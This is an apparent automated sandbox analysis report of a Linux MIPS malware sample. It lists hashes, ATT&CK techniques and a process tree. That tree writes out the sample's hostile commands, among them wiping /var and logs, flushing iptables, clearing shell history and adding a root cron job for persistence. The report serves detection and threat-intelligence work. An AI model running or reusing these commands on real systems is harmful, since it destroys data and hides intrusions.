2fb2ff7d04083b59772d38fc551e6ea15199587b373e3ce3ceddc68b0db17ee6

Analysis

max time kernel
124s
max time network
145s
platform
debian-12_mipsel
resource
debian12-mipsel-20240221-en
resource tags

arch:mipselimage:debian12-mipsel-20240221-enkernel:6.1.0-17-4kc-maltalocale:en-usos:debian-12-mipselsystem
submitted
09/09/2024, 07:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e1ea6171d536940ef7aad083c74d1da7
Size

159KB
MD5

e1ea6171d536940ef7aad083c74d1da7
SHA1

d5ae198f421ee674b8700e77ae425224f930165c
SHA256

2fb2ff7d04083b59772d38fc551e6ea15199587b373e3ce3ceddc68b0db17ee6
SHA512

cc3033f732ceb61fecefd46e174d608e66164dd86d8c7889f029be2583689e35ce5af1fdfd9a7caf2200f08b2b2a94a1dc85bcf6df4e0a971fefde54ed2d40fb
SSDEEP

3072:JZoDOcH7TvwfmIN+Fj93W0Quyma9TFUqX6etJ:ADOcbTfyuVQuyma9FpJ

Score

7^/10

antivm defense_evasion discovery evasion execution persistence privilege_escalatio privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
817	sh
820	chmod

Deletes Audit logs 1 TTPs 1 IoCs

Deletes logs related to the Linux Audit framework.

evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/audit/audit.log	rm

Deletes journal logs 1 TTPs 3 IoCs

Deletes systemd journal logs. Likely to evade detection.

evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/journal/edeb2f80f756429c9aae366fe5ab23dd/system@40f19c4b060a40c883a09a59a71fe3ea-0000000000000001-000611df8f2f624b.journal	rm
File deleted	/var/log/journal/edeb2f80f756429c9aae366fe5ab23dd/system.journal	rm
File deleted	/var/log/journal/edeb2f80f756429c9aae366fe5ab23dd	rm

Executes dropped EXE 1 IoCs

ioc	pid	Process
/dev/ocmount	823	ocmount

Flushes firewall rules 2 IoCs

Flushes/ disables firewall rules inside the Linux kernel.

pid	Process
797	iptables
798	iptables

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	e1ea6171d536940ef7aad083c74d1da7
File opened for modification	/dev/misc/watchdog	e1ea6171d536940ef7aad083c74d1da7

Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 1 IoCs

Abuse sudo or cached sudo credentials to execute code.

privilege_escalation defense_evasion

Sudo and Sudo Caching

T1548.003

pid	Process
749	rm

Checks mountinfo of local process 1 TTPs 4 IoCs

Checks mountinfo of running processes which indicate if it is running in chroot jail.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/823/mountinfo	cat
File opened for reading	/proc/823/mountinfo	cat
File opened for reading	/proc/823/mountinfo	cat
File opened for reading	/proc/823/mountinfo	cat

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/etc/cron.d/mount.sh	sh

Deletes log files 1 TTPs 29 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File deleted	/var/log/audit	rm
File deleted	/var/log/installer/cdebconf/questions.dat	rm
File deleted	/var/log/exim4	rm
File deleted	/var/log/dpkg.log	rm
File deleted	/var/log/apt/eipp.log.xz	rm
File deleted	/var/log/installer/lsb-release	rm
File deleted	/var/log/journal	rm
File deleted	/var/log/private	rm
File deleted	/var/log/lastlog	rm
File deleted	/var/log/installer/partman	rm
File deleted	/var/log/alternatives.log	rm
File deleted	/var/log/apt/term.log	rm
File deleted	/var/log/README	rm
File deleted	/var/log/installer	rm
File deleted	/var/log/btmp	rm
File deleted	/var/log/fontconfig.log	rm
File deleted	/var/log/apt/history.log	rm
File deleted	/var/log/installer/firmware-summary	rm
File deleted	/var/log/apt	rm
File deleted	/var/log/runit/ssh	rm
File deleted	/var/log/runit	rm
File deleted	/var/log/installer/cdebconf	rm
File deleted	/var/log/installer/hardware-summary	rm
File deleted	/var/log/installer/syslog	rm
File deleted	/var/log/installer/cdebconf/templates.dat	rm
File deleted	/var/log/installer/status	rm
File deleted	/var/log/faillog	rm
File deleted	/var/log/wtmp	rm
File deleted	/var/log/exim4/mainlog	rm

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 4 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	/bin/bash	746	e1ea6171d536940ef7aad083c74d1da7
Changes the process name, possibly in an attempt to hide itself	bash	816	Process not Found
Changes the process name, possibly in an attempt to hide itself	/bin/sh	818	Process not Found
Changes the process name, possibly in an attempt to hide itself	/bin/bash	819	Process not Found

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/possible	pkill
File opened for reading	/sys/devices/system/cpu/possible	pkill
File opened for reading	/sys/devices/system/cpu/possible	pkill

Enumerates kernel/hardware configuration 1 TTPs 3 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/node	pkill
File opened for reading	/sys/devices/system/node	pkill
File opened for reading	/sys/devices/system/node	pkill

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/5/stat	pkill
File opened for reading	/proc/6/cgroup	pkill
File opened for reading	/proc/9/cgroup	pkill
File opened for reading	/proc/384/status	pkill
File opened for reading	/proc/47/cmdline	pkill
File opened for reading	/proc/676/ctty	pkill
File opened for reading	/proc/9/cgroup	pkill
File opened for reading	/proc/10/cgroup	pkill
File opened for reading	/proc/772/ctty	pkill
File opened for reading	/proc/5/ctty	pkill
File opened for reading	/proc/711/cgroup	pkill
File opened for reading	/proc/15/stat	pkill
File opened for reading	/proc/59/status	pkill
File opened for reading	/proc/33/cgroup	pkill
File opened for reading	/proc/755/cmdline	pkill
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/17/stat	pkill
File opened for reading	/proc/30/cgroup	pkill
File opened for reading	/proc/721/stat	pkill
File opened for reading	/proc/119/cgroup	pkill
File opened for reading	/proc/375/status	pkill
File opened for reading	/proc/773/cmdline	pkill
File opened for reading	/proc/37/cgroup	pkill
File opened for reading	/proc/26/stat	pkill
File opened for reading	/proc/24/ctty	pkill
File opened for reading	/proc/28/cmdline	pkill
File opened for reading	/proc/717/ctty	pkill
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/6/ctty	pkill
File opened for reading	/proc/393/stat	pkill
File opened for reading	/proc/2/cmdline	pkill
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/22/cgroup	pkill
File opened for reading	/proc/47/status	pkill
File opened for reading	/proc/377/cgroup	pkill
File opened for reading	/proc/self/maps	grep
File opened for reading	/proc/111/status	pkill
File opened for reading	/proc/746/ctty	pkill
File opened for reading	/proc/772/cgroup	pkill
File opened for reading	/proc/673/ctty	pkill
File opened for reading	/proc/773/stat	pkill
File opened for reading	/proc/138/stat	pkill
File opened for reading	/proc/373/stat	pkill
File opened for reading	/proc/33/cgroup	pkill
File opened for reading	/proc/721/status	pkill
File opened for reading	/proc/377/status	pkill
File opened for reading	/proc/30/ctty	pkill
File opened for reading	/proc/781/cgroup	pkill
File opened for reading	/proc/673/stat	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/27/status	pkill
File opened for reading	/proc/114/ctty	pkill
File opened for reading	/proc/692/stat	pkill
File opened for reading	/proc/7/cmdline	pkill
File opened for reading	/proc/692/ctty	pkill
File opened for reading	/proc/6/cmdline	pkill
File opened for reading	/proc/779/stat	pkill
File opened for reading	/proc/111/cmdline	pkill
File opened for reading	/proc/24/ctty	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/12/ctty	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/695/stat	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/e1ea6171d536940ef7aad083c74d1da7	e1ea6171d536940ef7aad083c74d1da7

/tmp/e1ea6171d536940ef7aad083c74d1da7
/tmp/e1ea6171d536940ef7aad083c74d1da7
1⤵
- Modifies Watchdog functionality
- Changes its process name
- Writes file to tmp directory
PID:746
- /bin/sh
  sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/* /var/log/wtmp"
  2⤵
  PID:747
- - /usr/bin/rm
    rm -rf /tmp/e1ea6171d536940ef7aad083c74d1da7 /tmp/systemd-private-a7348637f53f45fea68078114135298e-systemd-logind.service-2DNFXr /tmp/systemd-private-a7348637f53f45fea68078114135298e-systemd-timedated.service-qBy5Pz /var/backups /var/cache /var/lib /var/local /var/lock /var/log /var/mail /var/opt /var/run /var/spool /var/tmp /var/run/atd.pid /var/run/auditd.pid /var/run/console-setup /var/run/credentials /var/run/crond.pid /var/run/crond.reboot /var/run/dbus /var/run/dhclient.enp0s19.pid /var/run/exim4 /var/run/initctl /var/run/initramfs /var/run/lock /var/run/log /var/run/motd.dynamic /var/run/mount /var/run/network /var/run/sendsigs.omit.d /var/run/shm /var/run/sshd /var/run/sshd.pid /var/run/sudo /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/user /var/run/utmp /var/tmp/systemd-private-a7348637f53f45fea68078114135298e-systemd-logind.service-oTLUn1 /var/tmp/systemd-private-a7348637f53f45fea68078114135298e-systemd-timedated.service-ZTMgGN /var/log/wtmp
    3⤵
    - Deletes Audit logs
    - Deletes journal logs
    - Abuse Elevation Control Mechanism: Sudo and Sudo Caching
    - Deletes log files
    PID:749
- /bin/sh
  sh -c "rm -rf /tmp/*"
  2⤵
  PID:774
- - /usr/bin/rm
    rm -rf "/tmp/*"
    3⤵
    PID:775
- /bin/sh
  sh -c "iptables -F"
  2⤵
  PID:776
- /bin/sh
  sh -c "pkill -9 busybox"
  2⤵
  PID:777
- - /usr/bin/pkill
    pkill -9 busybox
    3⤵
    - Reads CPU attributes
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:778
- /bin/sh
  sh -c "pkill -9 perl"
  2⤵
  PID:779
- - /usr/bin/pkill
    pkill -9 perl
    3⤵
    - Reads CPU attributes
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:780
- /bin/sh
  sh -c "pkill -9 python"
  2⤵
  PID:781
- - /usr/bin/pkill
    pkill -9 python
    3⤵
    - Reads CPU attributes
    - Enumerates kernel/hardware configuration
    - Reads runtime system information
    PID:782
- /bin/sh
  sh -c "service iptables stop"
  2⤵
  PID:783
- - /usr/sbin/service
    service iptables stop
    3⤵
    PID:784
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:785
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:786
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:789
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:788
- - /usr/local/sbin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- - /usr/local/bin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- - /usr/sbin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- - /usr/bin/systemctl
    systemctl stop iptables.service
    3⤵
    PID:784
- /bin/sh
  sh -c "/sbin/iptables -F; /sbin/iptables -X"
  2⤵
  PID:796
- - /sbin/iptables
    /sbin/iptables -F
    3⤵
    - Flushes firewall rules
    PID:797
- - /sbin/iptables
    /sbin/iptables -X
    3⤵
    - Flushes firewall rules
    PID:798
- /bin/sh
  sh -c "service firewall stop"
  2⤵
  PID:799
- - /usr/sbin/service
    service firewall stop
    3⤵
    PID:800
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:801
  - - /usr/bin/basename
      basename /usr/sbin/service
      4⤵
      PID:802
  - - /usr/bin/systemctl
      systemctl list-unit-files --full "--type=socket"
      4⤵
      PID:804
  - - /usr/bin/sed
      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
      4⤵
      PID:805
- - /usr/local/sbin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- - /usr/local/bin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- - /usr/sbin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- - /usr/bin/systemctl
    systemctl stop firewall.service
    3⤵
    PID:800
- /bin/sh
  sh -c "history -c"
  2⤵
  PID:809
- /bin/sh
  sh -c "rm -rf ~/.bash_history"
  2⤵
  PID:810
- - /usr/bin/rm
    rm -rf "~/.bash_history"
    3⤵
    PID:811
- /bin/sh
  sh -c "history -w"
  2⤵
  PID:812
- /bin/sh
  sh -c "chmod +x /dev/ocmount"
  2⤵
  - File and Directory Permissions Modification
  PID:817
- - /usr/bin/chmod
    chmod +x /dev/ocmount
    3⤵
    - File and Directory Permissions Modification
    PID:820
- /bin/sh
  sh -c "echo '* * * * * root /bin/bash /dev/ocmount' > /etc/cron.d/mount.sh"
  2⤵
  - Creates/modifies Cron job
  PID:821
- /bin/sh
  sh -c /dev/ocmount
  2⤵
  PID:822
- - /dev/ocmount
    /dev/ocmount
    3⤵
    - Executes dropped EXE
    PID:823
  - - /usr/bin/cat
      cat /proc/823/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:824
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:829
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:828
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:832
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:833
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:834
  - - /usr/bin/cat
      cat /proc/823/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:837
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:841
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      Reads runtime system information
      PID:842
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:845
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:846
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:847
  - - /usr/bin/cat
      cat /proc/823/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:848
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:852
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:853
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:856
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      Reads runtime system information
      PID:857
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:858
  - - /usr/bin/cat
      cat /proc/823/mountinfo
      4⤵
      Checks mountinfo of local process
      PID:859
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      PID:863
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:864
  - - /usr/bin/grep
      grep -o "/proc/[0-9]*"
      4⤵
      Reads runtime system information
      PID:867
  - - /usr/bin/grep
      grep -o "[0-9]*"
      4⤵
      PID:868
  - - /usr/bin/sleep
      sleep 30
      4⤵
      PID:869

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/dev/ocmount

Filesize
479B

MD5
a3fc64b86b20a7b2eaa9330e1064d1f1

SHA1
3a6f294c550a578d5e337f67fd4d9c1984eea885

SHA256
6029dd069bc913653eec32e54fb005a80fb71ebb5f0a584c71e06ac08fbbece6

SHA512
ce26f2c6ecec049b7053008e323018ec8a709942a456464a1d423f80b92bca410d9b0f661093eb732254e6690900ac9a15b6f62450f72e6511195aee403c50b6

Download Submit
/etc/cron.d/mount.sh

Filesize
38B

MD5
67ec4a157e5b63970cfbb8cc55883ad7

SHA1
5262b8c108dc3aef69fca6ffd959893de852dc67

SHA256
0cb3cc915bb7492ff579f2b59237a5899088e5c5f238125ac9f0b5f73d2723e7

SHA512
eb6310992dc6e3ac1fca2bcf26d82365494aa0adbd80ee5ec6231b2418d1daf6608f7820a560b4fbda8c8885a59f8a82ca86aaa481f254d207926c1f6c5802b9

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads